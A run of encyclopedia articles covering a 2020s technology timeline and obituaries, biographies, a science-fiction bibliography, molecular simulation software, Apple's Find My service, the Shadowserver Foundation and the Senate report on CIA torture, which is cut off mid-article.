A study of data traffic by popular smartphones running variants of the Android software finds substantial by-default data collection and sharing with no opt-out (i.e. even the NetGuard firewall, which is not installed by default, may not reliably and completely prevent such data traffic) and implications for users' privacy, control and security.
Media outlets report about novel technologies for virtual try-ons of clothes for more sustainable fashion and improved online shopping, which increased relative to shopping at local shops that store clothes due to the COVID-19 pandemic.
A method of DNA data storage with 100 times the density of previous techniques is announced.
Scientists demonstrate that grown brain cells integrated into digital systems can carry out goal-directed tasks with performance-scores. In particular, playing a simulated (via electrophysiological stimulation) Pong which the cells learned to play faster than known machine intelligence systems, albeit to a lower skill-level than both AI and humans. Moreover, the study suggests it provides "first empirical evidence" of information-processing capacity differences between neurons from different species.
Researchers report the development of a system of machine learning and hyperspectral camera that can distinguish between 12 different types of plastics such as PET and PP for automated separation of waste of, as of 2020, highly unstandardized plastics products and packaging.
A scientific review summarizes research and data about telemedicine. Its results indicate that, in general, outcomes of such ICT-use are as good as in-person care with health care use staying similar.
The Log4Shell security vulnerability in a Java logging framework is publicly disclosed two weeks after its discovery. Because of the ubiquity of the affected software, experts have described it as a most serious computer vulnerability. In a high-level meeting, the importance of security maintenance of open-source software – often also carried out largely by few volunteers – to national security was clarified.
Researchers report the development of a database and analysis tool about perovskite solar cells which systematically integrates over 15,000 publications, in particular device-data about over 42,400 of such photovoltaic devices. Authors described the site – which requires signing up to access the data and uses software that is partly open source but to date not free software – as a participative "Wikipedia for perovskite solar cell research" and suggest that extensively capturing the progress of an entire field including interactive data exploration functionalities could also be applicable to many fields in materials science, engineering and biosciences.
A third main convergent graphical shell (Maui Shell) and UI framework (MauiKit), based on KDE/Kirigami, for the GNU/Linux operating system on smartphones, desktops and other devices, is released.
2022
Deaths
2020
January 2
Robert M. Graham, American computer scientist (b. 1929)
January 3
Joseph Karr O'Connor, American computer scientist (b. 1953)
January 8
Peter T. Kirstein, British computer scientist (b. 1933)
February 11
Yasumasa Kanada, Japanese computer scientist (b. 1949)
February 16
Larry Tesler, American computer scientist (b. 1945)
John Iliffe, British computer designer (b. 1931)
February 18
Bert Sutherland, American computer scientist (b. 1936)
March 2
Vera Pless, American mathematician (b. 1931)
March 15
Olvi L. Mangasarian, Iraqi-American computer scientist and mathematician (b. 1934)
April 7
Mishik Kazaryan, Russian physicist (b. 1948)
Adrian V. Stokes, British computer scientist (b. 1945)
April 11
John Horton Conway, British mathematician (b. 1937)
April 25
Thomas Huang, American computer scientist (b. 1936)
May 9
Timo Honkela, Finnish computer scientist (b. 1962)
June 5
Deborah Washington Brown, American computer scientist (b. 1952)
July 10
Michael M. Richter, German mathematician and computer scientist (b. 1938)
July 26
Bill English, American computer engineer and co-developer of the computer mouse (b. 1929)
August 4
Frances Allen, American computer scientist, first woman to win the Turing Award (b. 1932)
August 11
Russell Kirsch, American computer scientist and inventor of the first digital image scanner (b. 1929)
August 25
Rebeca Guber, Argentine mathematician and computer scientist (b.1926)
October 2
Victor Zalgaller, Russian-Israeli mathematician (b. 1920)
November 7
Chung Laung Liu, Taiwanese computer scientist (b. 1934)
November 14
Peter Pagé, German computer scientist (b. 1939)
November 23
Konrad Fiałkowski, Polish computer engineer (b. 1939)
December 1
Norman Abramson, American computer scientist and engineer (b. 1932)
Eric Engstrom, American software engineer and co-creator of DirectX (b. 1965)
December 14
Claudio Baiocchi, Italian mathematician (b. 1940)
December 22
Edmund M. Clarke, American computer scientist (b. 1945)
December 23
Lars Arge, Danish computer scientist (b. 1967)
2021
January 2
Brad Cox, American computer scientist, and inventor of the Objective-C programming language (b. 1944)
January 28
Alice Recoque, French computer scientist (b. 1929)
February 1
Walter Savitch, American computer scientist and theoretical mathematician (b. 1943)
February 6
Ioan Dzițac, Romanian computer scientist and mathematician (b. 1953)
March 6
Lou Ottens, Dutch engineer and inventor of the cassette tape (b. 1926)
April 1
Isamu Akasaki, Japanese engineer and physicist, and inventor of the blue LED (b. 1929)
April 16
Charles Geschke, American computer scientist, and co-founder of Adobe Inc. (b. 1939)
April 23
Dan Kaminsky, American computer security researcher (b. 1979)
May 23
Makoto Nagao, Japanese natural language processing pioneer (b. 1936)
June 23
John McAfee, British-American antivirus software pioneer, and founder of McAfee (b. 1945)
2022
See also
Timeline of quantum computing and communication#2020
Timeline of free and open-source software#2020s
Firefox version history
History of Linux
Timeline of Linux adoption
Timeline of social media
Timeline of e-commerce
Timeline of computer viruses and worms
History of supercomputing
Remote sensing
:Category:Earth observation platforms
Smart grid#Research
Outline of finance
Outline of public relations
Outline of computing
2020 in science
2021 in science
COVID-19
Impact of the COVID-19 pandemic on education
Impact of the COVID-19 pandemic on science and technology
Use and development of software for COVID-19 pandemic mitigation
References
2020
2020s in technology
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43195905
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https://en.wikipedia.org/wiki/Janet%20Emerson%20Bashen
|
Janet Emerson Bashen
|
Janet Rita Emerson Bashen (née Emerson; born February 12, 1957) is an American entrepreneur, business consultant, and software inventor who is best known for patenting a web-based EEO software application, LinkLine, to assist with equal employment opportunity investigations and claims tracking. Bashen is regarded as the first African American woman to obtain a web-based software patent. As a result of her work with equal employment opportunity and diversity and inclusion, Bashen is regarded as a social justice advocate.
Raised in Huntsville, Alabama, Bashen attended Alabama A&M a Historical Black College and University but did not graduate, instead, she married her classmate, Ruffus Williams, an aerospace engineer, and moved to Houston, Texas. Emerson enrolled in the University of Houston and graduated with a degree in Legal Studies and Government. Williams and Emerson were divorced in 1988.
She married George Steven Bashen in May 1988. Thereafter, Bashen attended Harvard University and completed the Women and Power Program. Bashen is currently on the Women's Leadership Board at Harvard University. Bashen is also a graduate of Tulane Law School and is currently attending the Suzanne Dworak-Peck School of Social Work, at the University of Southern, California pursuing a Doctorate.
Family and education
Early life and Ancestry
Janet Rita Emerson was born on February 12, 1957, in Mansfield, Ohio to James Lucker Emerson Sr. b. (June 7, 1935) a garbage collector with the city of Huntsville, Alabama, until his retirement. Her mother, Ola Mae Emerson (1937– 2014) a Licensed practice nurse with Huntsville Hospital and the first Black nurse to work in the emergency room of the hospital. Emerson's family moved to Huntsville, Alabama, where Emerson went to a segregated elementary school until the fifth grade when she entered Fifth Avenue School, a previously segregated school in Huntsville, Alabama. Emerson comes from a Black mixed-race background.
Family life
Emerson married George Steven Bashen in 1988. They have a daughter Blair Alise Bashen (born 1989) and a son Drew Alec Bashen. In 2020, Emerson's daughter Blair Bashen got engaged to her longtime boyfriend, three-time NBA basketball champion player Danny Green. In 2021, the two were married in Houston Texas.
Career
After graduating from the University of Houston, Bashen worked for an insurance company handling claims related to Equal Employment Opportunities. Bashen thought if you hire independent investigators to assess such claims, they would be more impartial. Bashen would later receive a $5,000 loan from her mother and in 1994, began her own company, Bashen Corporation, to investigate discrimination claims filed by employees.
As her company grew, Bashen became aware of the need for better ways of storing and accessing the data related to claims. With her cousin, Donnie Moore, a Tufts University computer science graduate, Bashen began developing a software. This was the genesis for the software LinkLine. In January 2006 Bashen was awarded a Patent No. 6,985,922, B1, making Janet Emerson Bashen the first African-American woman to earn a web-based software patent becoming a "part of an elite group of African-American inventors and scientists.
Congressional testimony
In May 2000, Bashen testified before the U.S. House of Representatives that civil rights and employee misconduct investigations should be exempt from the Fair Credit Reporting Act.
Awards and recognition
Black Enterprise – HOW JANET BASHEN BECAME A SOFTWARE PIONEER
Black Inventors' Hall of Fame
Bloomberg – ‘Next Big Thing’ at Risk as Fewer Women, Minorities Get Patents
1998 Janet Emerson Bashen featured on CNN Financial Network
2000 Emerging (E-10) Award Winner
2000 Houston 100 Winner
2000 SJ Bashen testifies to the United States House of Representatives regarding the Fair Credit Reporting Act ("FCRA")
2003 Houston, TX Chamber of Commerce Pinnacle Award
2004 National Association of Negro Women in Business Crystal Award
2009 Lilly Ledbetter Fair Pay Act of 2009 was signed into law by President Barack Obama on January 29, 2009. The case was investigated by Bashen Corporation on behalf of their client Goodyear Tire & Rubber Co.
2010 MIT Recognition at World Festival of Black Arts and Culture in Dakar, Senegal
2012 Named in Ebony magazine's Power 100 List of the most influential African-Americans in entertainment, politics, sports, and business
2014 Elected to Women’s Leadership Board of the Harvard Kennedy School
2016 Speaker at The Black Enterprise’s “Women of Power Summit”, in Hollywood, FL
2019 Bashen was a panelist at the 4th Annual Black History Month Community Empowerment Mixer in Austin, Texas.
References
Living people
1957 births
American women in business
21st-century American inventors
African-American business executives
American women business executives
African-American inventors
Women inventors
21st-century African-American people
21st-century African-American women
20th-century African-American people
20th-century African-American women
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47957113
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https://en.wikipedia.org/wiki/Christopher%20Anvil%20bibliography
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Christopher Anvil bibliography
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These are the complete works by American science-fiction writer Christopher Anvil, a pseudonym used by Harry Christopher Crosby.
Bibliography
Fiction series
The Colonization Series (Federation of Humanity)
"Revolt!" (1958)
"Goliath and the Beanstalk" (1958)
"The Sieve" (1959)
"Leverage" (1959)
"Mating Problems" (1959)
"Star Tiger" (1960)
"The Troublemaker" (1960)
"The Hunch" (1961)
"Hunger" (1964)
"Bill for Delivery" (1964)
"Contrast" (1964)
"Untropy" (1966)
"Stranglehold" (1966)
"Strangers to Paradise" (1966)
"Facts to Fit the Theory" (1966)
"Experts In the Field" (1967)
"The Dukes of Desire" (1967)
"Compound Interest" (1967)
"The King's Legions" (1967)
"A Question of Attitude" (1967)
"Uplift the Savage" (1968)
"The Royal Road" (1968)
Strangers in Paradise (1969): Edited fix-up of "Strangers to Paradise", "The Dukes of Desire" and "The King's Legions".
"The Nitrocellulose Doormat" (1969)
"Test Ultimate" (1969)
"Basic" (1969)
"Trial by Silk" (1970)
"The Low Road" (1970)
"The Throne and the Usurper" (1970)
"The Claw and the Clock" (1971)
"The Operator" (1971)
'"Riddle Me This . . . "' (1972)
"The Unknown (1972)
"Cantor's War" (1974)
Warlord's World (1975)
"Odds" (1977)
"While the North Wind Blows" (1978)
"The Trojan Hostage" (1990)
"The Power of Illusion" (2006)
Pandora's Planet
"Pandora's Planet" (1956)
"Part II: Able Hunter" (1972)
"Pandora's Envoy" (1961)
"Part IV: Pandora's Unlocked Box" (1972)
"The Toughest Opponent" (1962)
"Part VI: Contagious Earthitis" (1972)
"Trap" (1969)
"Part VIII: Pandora's Galaxy" (1972)
"Sweet Reason" (1966)
The War with the Outs
"The Prisoner" (1956)
"Seller's Market" (1958)
"Top Rung" (1958)
"Symbols" (1966)
"Foghead" (1958)
"The Ghost Fleet" (1961)
"Cargo for Colony 6" (1958)
"Achilles's Heel" (1958)
"Of Enemies and Allies" (2006)
Novels
The Day the Machines Stopped (1964)
The Steel, the Mist, and the Blazing Sun (1980)
Short fiction
"Cinderella, Inc." (1952) (revised 2009) (also as by Harry C. Crosby)
"Roll Out the Rolov!" (1953) (also as by Harry C. Crosby)
"Advance Agent" (1957)
"Sinful City" (1957)
"Torch" (1957)
"Compensation" (1957)
"The Gentle Earth" (1957)
"Truce by Boomerang" (1957)
"Destination Unknown" (1958)
"Nerves" (1958)
"A Rose by Other Name" (1959) (also appeared as "A Rose by Any Other Name ...")
"Captive Leaven" (1959)
"The Law Breakers" (1959)
"Shotgun Wedding" (1960)
"A Tourist Named Death" (1960)
"Mind Partner" (1960)
"A Taste of Poison" (1960)
"Identification" (1961)
"No Small Enemy" (1961)
"Uncalculated Risk" (1962)
"Sorcerer's Apprentice" (1962)
"Gadget vs. Trend" (1962)
"Philosopher's Stone" (1963)
"Not in the Literature" (1963)
"War Games" (1963)
"Problem of Command" (1963)
"Speed-Up!" (1964)
"Rx for Chaos" (1964)
"We From Arcturus" (1964)
"Merry Christmas From Outer Space!" (1964)
"The New Boccaccio" (1965)
"The Plateau" (1965)
"The Captive Djinn" (1965)
"Duel to the Death" (1965)
"High G" (1965)
"In the Light of Further Data" (1965)
"Positive Feedback" (1965)
"The Spy in the Maze" (1965)
"The Kindly Invasion" (1966)
"Devise and Conquer" (1966)
"Two-Way Communication" (1966)
"The Missile Smasher" (1966)
"Sabotage" (1966)
"The New Way" (1967)
"The Murder Trap" (1967)
"The Trojan Bombardment" (1967)
"The Uninvited Guest" (1967)
"The New Member" (1967)
"Babel II" (1967)
"Is Everybody Happy?" (1968)
"High Road to the East" (1968)
"Mission of Ignorance" (1968)
"Behind the Sandrat Hoax" (1968)
"The Great Intellect Boom" (1969)
"Apron Chains" (1970)
"Ideological Defeat" (1972)
"The Knife and the Sheath" (1974)
"Brains Isn't Everything" (1976)
"The Golden Years" (1977)
"A Handheld Primer" (1978)
"A Sense of Disaster?" (1979) (also appeared as: "A Sense of Disaster")
"The Gold of Galileo" (1980)
"Top Line" (1982)
"Superbiometalemon" (1982)
"Bugs" (1986)
"Rags from Riches" (1987)
"Interesting Times" (1987)
"Doc's Legacy" (1988)
"The Underhandler" (1990)
"Negative Feedback" (1994)
"A Question of Identity" (1995)
"The Problem Solver and the Killer" (2010)
"The Hand from the Past" (2010)
"The Problem Solver and the Hostage" (2010)
"The Problem Solver and the Defector" (2010)
"The Problem Solver and the Burned Letter" (2010)
"Key to the Crime" (2010)
"Warped Clue" (2010)
"The Coward" (2010)
"The Anomaly" (2010)
Collections
Pandora's Planet (1972): fixup of four previously published stories with new linking material. Includes "Pandora's Planet", "Able Hunter", "Pandora's Unlocked Box", "Contagious Earthitis", and "Pandora's Galaxy".
Pandora's Legions (2002): Reprints the material from Pandora's Planet along with "Pandora's Envoy", "The Toughest Opponent", "Trap" and "Sweet Reason", a short story set in the same universe but unlinked to the main plotline.
Interstellar Patrol (2003): A collection of stories detailing the early adventures of Anvil's Patrol heroes, such as Vaughan Roberts, along with other short stories in the same setting. Includes "Strangers to Paradise", "The Dukes of Desire", "The King's Legions", "A Question of Attitude", "The Royal Road", "The Nitrocellulose Doormat", "Basic", "Test Ultimate", "Compound Interest", "Experts in the Field", "The Hunch", "Star Tiger", "Revolt!" and "Stranglehold".
Interstellar Patrol II: The Federation of Humanity (2005): A collection detailing the later adventures of the Patrol which also contains all other stories in the Federation setting at the time of publication. Includes "The Claw and the Clock", '"Riddle Me This . . ."', "The Unknown", "The Throne and the Usurper", "The Trojan Hostage", Warlord's World, "Goliath and the Beanstalk", "Facts to Fit the Theory", "Cantor's War", "Uplift the Savage", "Odds", "The Troublemaker", "Bill for Delivery", "Untropy", "The Low Road", "Trial by Silk", "The Operator", "While the North Wind Blows", "Leverage", "The Sieve", "Mating Problems", "Hunger" and "Contrast".
The Trouble With Aliens (2006): Reprints the "War With the Outs" stories along with three short stories retroactively rewritten to fit the in-universe chronology and a new conclusion to the sequence. The volume also includes other stories on theme of human contact with aliens, from the human perspective. Includes "The Prisoner", "Seller's Market", "Top Rung", "Symbols", "Foghead", "The Ghost Fleet", "Cargo For Colony 6", "Achilles's Heel", "Of Enemies and Allies", "The Kindly Invasion", "Mission of Ignorance", "Brain's Isn't Everything", "The Captive Djinn", "The Uninvited Guest", "Sabotage", "Mind Partner", "A Question of Identity" and "Advance Agent".
The Trouble With Humans (2007): A further collection of stories on the theme of human contact with aliens, this time from the alien perspective. Includes "We From Arcturus", "The Underhandler", "Duel to the Death", "Shotgun Wedding", "The Law Breakers", "Compensation", "Merry Christmas From Outer Space", "The Plateau", "Captive Leaven", "Sinful City", "Beyond the Sandrat Hoax", "Nerves" and "The Gentle Earth".
War Games (2008): A collection of Anvil's stories with military themes. Includes "Truce by Boomerang", "A Rose by Any Other Name . . .", "The New Member", "Babel II", "The Trojan Bombardment", "Problem of Command", "Uncalculated Risk", "Torch", "Devise and Conquer", "War Games", "Sorcerer's Apprentice", "The Spy in the Maze", "The Murder Trap", "Gadget vs. Trend", "Top Line", "Ideological Defeat", The Steel, the Mist, and the Blazing Sun and "Philosopher's Stone".
Rx for Chaos (2009): A collection of speculative "idea SF". Includes "Cinderella, Inc", "Roll Out the Rolov!", "The New Boccaccio", "A Handheld Primer", "Rx for Chaos", "Is Everybody Happy?", "The Great Intellect Boom", "Interesting Times", "Superbiometalemon", "Speed-Up!", "Rags from Riches", "Bugs", "Positive Feedback", "Two-Way Communication", "High G", "Doc's Legacy", "Negative Feedback", "The New Way", "Identification", "The Golden Years", "No Small Enemy" and "Not in the Literature"
The Power of Illusion (2010): A collection of the remainder of Anvil's previously unreprinted short fiction along with some new material. Includes "A Taste of Poison", "The Gold of Galileo", The Day the Machines Stopped, "The Missile Smasher", "The Problem Solver and the Killer", "The Hand from the Past", "The Problem Solver and the Hostage", "The Problem Solver and the Defector", "Key to the Crime", "The Problem Solver and the Burned Letter", "Warped Clue", "The Coward", "A Sense of Disaster", "Destination Unknown", "The High Road to the East", "A Tourist Named Death", "The Knife and the Sheath", "The Anomaly", "In the Light of Further Data", "Apron Chains" and "The Power of Illusion".
References
Bibliographies by writer
Bibliographies of American writers
Science fiction bibliographies
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55098846
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https://en.wikipedia.org/wiki/MBN%20Explorer
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MBN Explorer
|
MBN Explorer (MesoBioNano Explorer) is a software package for molecular dynamics simulations, structure optimization and kinetic Monte Carlo simulations. It is designed for multiscale computational analysis of structure and dynamics of atomic clusters and nanoparticles, biomolecules and nanosystems, nanostructured materials, different states of matter and various interfaces. The software has been developed by MBN Research Center.
History
MBN Explorer inherited the experience obtained on the development of the software package Cluster Searcher. It started around 2000 as a classical molecular dynamics code for simulating many-body systems interacting via the Morse and the Lennard-Jones potentials. A variety of interatomic potentials and the possibility to combine a group of atoms into rigid blocks were introduced in 2005–2007. The first version of MBN Explorer was released in 2012 as a multipurpose computer code allowing to model different molecular systems of varied level of complexity.
Features
MBN Explorer allows for the multiscale description of molecular systems by means of kinetic Monte Carlo approach and the irradiation-driven molecular dynamics. By means of the Monte Carlo approach, the software allows to simulate diffusion-drive processes involving molecular systems on much larger time scales that can be reached in conventional molecular dynamics simulations. The software allows to combine different types of interatomic potentials to specify more than one interaction to a particular atom or a group of atoms.
MBN Explorer supports several standard atomic trajectory formats, such as XYZ (text format), DCD (binary format) and DCD+XYZ (hybrid format). It also supports the Protein Data Bank (pdb) file format for describing the three-dimensional structures of biomolecules.
Advanced features of the program include:
flexible coarse graining and the possibility to simulate dynamics of rigid bodies,
the possibility to perform relativistic molecular dynamics simulations of ultra-relativistic particles in crystalline media,
simulation of irradiation-induced chemical transformations by means of irradiation-driven molecular dynamics.
MBN Studio
MBN Explorer is complemented with MBN Studio - a multi-task program for molecular modeling and design, as well as for visualization and analysis of results of the simulations performed with MBN Explorer. The built-in molecular modeler can be used to construct isolated and solvated biomolecules, condensed molecular materials, carbon nanotubes and graphene sheets, nanoparticles and crystalline samples.
Projects and collaborations
MBN Explorer has been utilized in different research projects in the fields of materials science, nanotechnology and radiation damage:
ARGENT - Advanced Radiotherapy, Generated by Exploiting Nanoprocesses and TechnologiesThis is a multidisciplinary network project involving different research groups, academic and industrial partners. It is financed by the Seventh Framework Programme (FP7) of the EU.
PEARL - Periodically Bent Crystals for Crystalline UndulatorsThis is an international project supported by the Horizon 2020 Programme (H2020) of the EU.
Nano-IBCT - Nanoscale Insights into Ion-Beam Cancer Therapy
VINAT - Theoretical analysis, design and virtual testing of biocompatibility and mechanical properties of titanium-based nanomaterials
See also
Comparison of software for molecular mechanics modeling
List of software for nanostructures modeling
NAMD
GROMACS
LAMMPS
References
External links
MBN Research Center website
Molecular dynamics software
Computational chemistry
Molecular modelling software
Physics software
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61987882
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https://en.wikipedia.org/wiki/Find%20My
|
Find My
|
Find My is an asset tracking app and service provided by Apple Inc. that enables users to track the location of iOS, iPadOS, macOS, watchOS devices, AirPods, AirTags and a number of supported third-party accessories through a connected iCloud account. Users can also share their GPS locations to others with Apple devices and view the location of others who choose to share their location, a function formerly provided by the app Find My Friends. Find My was released alongside iOS 13 on September 19, 2019, merging the functions of the former Find My Friends and Find My iPhone (known on macOS devices as Find My Mac) into a single app.
After being released on iOS, Find My was later released on iPadOS 13.1 on September 24, 2019 and macOS 10.15 on October 7, 2019.
Features
People
Find My allows users to share their GPS locations to contacts with an iOS, iPadOS, or macOS device for an hour, until the end of the day, or indefinitely. Once shared, others are able to see the exact location of a person's device on a map and can receive directions to the person's location. Notifications can be set, alerting a user when someone leaves or arrives at a set location.
Devices
Users can find the location of their Apple devices and play a sound on the device at maximum volume, a useful feature if the device has been mislaid. A device can also be marked as lost, locking the device with a password and suspending sensitive features such as Apple Pay. Lost mode also allows a user to leave a message and contact information on the lock screen of the device.
A user can also choose to erase a device, deleting all content and settings, which is useful if the device contains sensitive information, however the device can no longer be located after this action is performed. After the erase is complete, the message can still be displayed and the device will be activation locked. This makes it hard for someone to use or sell the device. An Apple ID password is required to turn off Find My, sign out of iCloud, erase the device, or reactivate a device after an activation lock.
Items
With the release of iOS 14.3, third-party Bluetooth items and accessories with support for the Find My network accessory program can also be tracked, under a separate "Items" tab. If something is lost but out of Bluetooth range, the app will display the last known location until another iOS, iPadOS, or macOS device is nearby. Similar to Apple's own devices, third-party items can be placed into a "lost mode" which prevents others from pairing to the device. Lost items can be identified from within the Find My app, allowing a user to see a message or contact information from the owner of the lost item.
Unlike other "key finders", AirTags also use ultra-wideband technology to find lost items (if the Apple device used for searching supports it).
See also
Find My Device
References
External links
Overview of the Find My network architecture
2019 software
Apple Inc. services
IOS-based software made by Apple Inc.
iOS software
iOS
Internet geolocation
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4469306
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https://en.wikipedia.org/wiki/Shadowserver
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Shadowserver
|
Shadowserver Foundation is a nonprofit security organization that gathers and analyzes data on malicious Internet activity (including malware, botnets, and computer fraud), sends daily network reports to subscribers, and works with law enforcement organizations around the world in cybercrime investigations. Established in 2004 as a "volunteer watchdog group," it liaises with national governments, CSIRTs, network providers, academic institutions, financial institutions, Fortune 500 companies, and end users to improve Internet security, enhance product capability, advance research, and dismantle criminal infrastructure.
Funding
In early 2020, Cisco, which has been the primary funder for 15 years, announced they would be withdrawing their funding. In late May 2020 it was announced that the Shadowserver Foundation had received funding from various sources to enable “the group to continue in a more sustainable way without becoming dependent on a single backer again.”
Activities
Data collection
Shadowserver scans the IPv4 Internet 45 times per day. It harvests data on malware, spam, bots, and botnets using large-scale sensor networks of honeypots and honeyclients placed throughout the world. It uses sinkholes to collect data on bots and DDOS attacks. It also receives additional malware and sinkhole data from governments, industry partners, and law enforcement agencies that have established reciprocal data-sharing agreements with Shadowserver.
Data analysis
Shadowserver stores raw malware data permanently in its repository. As new data are collected, Shadowserver analyzes them using thousands of virtual sandboxes and hundreds of iron sandboxes. It regularly re-analyzes raw data previously collected. The results of these analyses are stored in the organization's analysis cluster.
Network reporting
Shadowserver sends free daily network reports to users who have subscribed to them. The reports contain all the data that Shadowserver has collected and analyzed about any suspicious activity it was able to detect within the specific networks or regions for which the subscriber is responsible. For example, a national government might receive data aggregated by geo-spatial coordinates defined by latitude and longitude, while an international network provider might receive data filtered by ASN.
Investigation support
Shadowserver liaises with security organizations, national governments, and CSIRTs to dismantle global cybercrime networks; for example, it worked with the FBI, Europol, and Interpol to take down the Avalanche network in 2016. It also helps law enforcement partners to develop strategies against cyber security threats and to mitigate threats as they emerge, focusing on cases that involve criminal abuse of the Internet’s infrastructure.
References
External links
Computer security organizations
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https://en.wikipedia.org/wiki/Senate%20Intelligence%20Committee%20report%20on%20CIA%20torture
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Senate Intelligence Committee report on CIA torture
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The Committee Study of the Central Intelligence Agency's Detention and Interrogation Program is a report compiled by the bipartisan United States Senate Select Committee on Intelligence (SSCI) about the Central Intelligence Agency (CIA)'s Detention and Interrogation Program and its use of torture during interrogation in U.S. government communiqués on detainees in CIA custody. The report covers CIA activities before, during, and after the "War on Terror". The initial report was approved on December 13, 2012, by a vote of 9–6, with seven Democrats, one Independent, and one Republican voting in favor of the report and six Republicans voting in opposition.
The more-than 6,700-page report (including 38,000 footnotes) details the history of the CIA's Detention and Interrogation Program and the Committee's 20 findings and conclusions. On December 9, 2014, the SSCI released a 525-page portion that consisted of key findings and an executive summary of the full report. It took more than five years to complete. The full unredacted report remains classified.
The report details actions by CIA officials, including torturing prisoners, providing misleading or false information about classified CIA programs to the President, Department of Justice, Congress, and the media, impeding government oversight and internal criticism, and mismanaging the program. It also revealed the existence of previously unknown detainees, that more detainees were subjected to "enhanced interrogation techniques" (a euphemism for torture) than was previously disclosed, and that more techniques were used without Department of Justice approval. It concluded that the use of enhanced interrogation techniques did not yield unique intelligence that saved lives (as the CIA claimed), nor was it useful in gaining cooperation from detainees, and that the program damaged the United States' international standing.
Some people, including some CIA officials and U.S. Republicans, disputed the report's conclusions and said it provided an incomplete picture of the program. Others criticized the publishing of the report, citing its potential for damage to the U.S. and the contentious history of its development. Former Republican presidential nominee John McCain praised the release of the report. Upon the report’s release, then-President Barack Obama stated, "One of the strengths that makes America exceptional is our willingness to openly confront our past, face our imperfections, make changes and do better."
In the wake of the release of the report's Executive Summary, a large number of individuals and organizations called for the prosecution of the CIA and government officials who perpetrated, approved, or provided legal cover for the torture of detainees; however, prosecutions are considered unlikely. The U.S. has also passed legislation, sponsored by Senators McCain and Dianne Feinstein, to prevent U.S. agencies from using many of the torture techniques described in the report.
The 2019 film The Report covers the decade-long time period that led to the final creation and publication of the report.
History
Impetus for the report
California Senator Dianne Feinstein said that the initial investigation began after press reports emerged stating that in 2005, CIA Director of the National Clandestine Service Jose Rodriguez destroyed almost 100 video recordings of interrogations over objections from CIA and White House legal staff. The tapes showed CIA officers and contractors using torture techniques such as waterboarding on detainees Abu Zubaydah and Abd al-Rahim al-Nashiri. The CIA did not inform the United States Senate Select Committee on Intelligence (SSCI) that Rodriguez had destroyed the tapes, and the committee had not known they had existed. SSCI believed that Rodriguez was covering up illegal activities by the CIA, although the committee had initially been told by CIA officials that Rodriguez was not engaging in "destruction of evidence". Rodriguez preemptively criticized the report in an op-ed for The Washington Post on December 5, 2014. In addition to destroying the torture tapes, the Committee's report shows that Rodriguez was heavily involved in the CIA's use of torture, including overseeing black sites where torture took place, preventing CIA Counterterrorism Center (CTC) legal staff from implementing vetting processes for interrogators, provided misleading information to the Department of Defense about a detainee's identity, and participated in the payment of millions of dollars to a country hosting a black site.
CIA Director Michael Hayden told the Committee on December 11, 2007, that if the Committee had asked for the videos, the CIA would have provided them, and offered the Committee written summaries of the interrogation sessions depicted on the destroyed tapes. CIA records show that the decision to destroy the tapes came shortly after CIA attorneys raised concerns about Congress discovering the tapes' existence.
Jane Mayer's book The Dark Side stated that the CIA also neglected to inform the 9/11 Commission that these tapes existed: "In a meeting on December 23, 2003, [Commission executive director Philip D.] Zelikow demanded that the CIA at the very least provide any and all documents responsive to its requests, even if the Commission had not specifically asked for them. [CIA Director George] Tenet replied by alluding to several documents he thought would be helpful. But in an omission that would later become part of a criminal investigation, neither Tenet nor anyone else from the CIA in the meeting mentioned that, in fact, the Agency had in its possession at that point hundreds of hours of videotapes of the interrogations of Abu Zubayda and Abd al-Rahim al-Nashiri, both of whom were waterboarded."
In December 2007, the committee opened an investigation into the tape destruction and designated four staffers to conduct the investigation, which they completed around early 2009.
Development of the report
On February 11, 2009, the committee began considering a broader review of the CIA's detention and interrogation practices after committee staff presented a summary of the operational cables detailing the interrogations of Abu Zubaydah and Abd al-Rahim al-Nashiri. On March 5, 2009, the Senate Intelligence Committee voted 14–1 to open an investigation into the CIA detention and interrogation program. In August 2009, Attorney General Eric Holder announced a parallel preliminary criminal investigation into the use of unauthorized interrogation techniques by CIA officials. As a result of the Attorney General's investigation, the Republican minority on the SSCI concluded that many witnesses were unlikely to participate in the investigation for fear of criminal liability. Citing the Attorney General investigation as their reason, the Republican minority of the SSCI withdrew their participation from the investigation in September 2009.
The Senate investigation was led by Committee staffer and former FBI investigator Daniel J. Jones, and was prepared following a review of more than 6.3 million pages of documents, cables, emails, and other materials principally provided by the CIA. The document production phase lasted more than three years and was completed in July 2012. As described in the Senate report, an additional 9,400 classified documents repeatedly requested by the SSCI were withheld by the White House under a claim of executive privilege. Despite the initial expectation that interviews would be used, no formal interviews or hearings were conducted in the preparation of the report. The lack of interviews and hearings was one of the chief complaints of the Republican minority on SSCI. However, the report included CIA officials' on-the-record statements in classified committee hearings, written statements, and interviews conducted through the CIA Inspector General's office and the Agency's oral history program, as well as through the formal response to the committee in June 2013 after reading the report. These statements and interviews included those from CIA director George Tenet, CTC director Jose Rodriguez, CIA general counsel Scott Muller, CIA deputy director of operations James Pavitt, CIA acting general counsel John Rizzo, CIA deputy director John McLaughlin, and a variety of interrogators, lawyers, medical personnel, senior counterterrorism analysts and managers of the detention and interrogation program. The CIA estimated that approximately $40 million in personnel time and resources was spent assisting the investigation, but this was largely because of the CIA's insistence on hiring Centra Technology contractors to review documents prior to presenting them to the Committee and establishing a separate secure facility and computer network for CIA and Committee staff to use during the review. This deviated from the standard document-sharing process, in which the CIA provides documents for Committee staff to review in Committee offices.
The final report was approved on December 13, 2012, by a vote of 9–6, with eight Democrats and one Republican (Olympia Snowe) voting in favor of publication and six Republicans voting in opposition, and the published minority views of Senator Chambliss were joined by Senators Burr, Risch, Coats, Rubio, and Coburn. Republican Senator John McCain, a member of the Committee ex officio, did not have a vote, but he supported approval alongside Snowe. On April 3, 2014, the SSCI voted 11–3 to submit a revised version of the executive summary, findings, and recommendations of the report for declassification analysis in preparation for future public release. Independent Senator Angus King and Republican Senator Susan Collins supported the release of the report. After eight months, involving contentious negotiations about what details should remain classified, the revised executive summary, findings, and recommendations were made public with many redactions on December 9, 2014.
The CIA had demanded that the Committee redact the names of all detainees, all CIA officer's pseudonyms, and the names of all countries that hosted black sites. Committee staffer Daniel J. Jones told The Guardian that the Agency wanted to redact other material, such as references to Allah. The CIA conceded that pseudonyms could be used for contractors and interrogators James Mitchell and Bruce Jessen, despite the fact that they had both been identified publicly prior to the report's release. The report ended up including detainee names, and used pseudonyms (such as "CIA OFFICER 1") for several Agency officers, but redacted the names of almost all others, as well as black site host countries.
Information about the cooperation of foreign agencies with the CIA has been redacted from the report. The British chairman of the Intelligence and Security Committee stated they would request access to anything taken out of the report at the request of British agencies.
Panetta Review and CIA Hacking incident
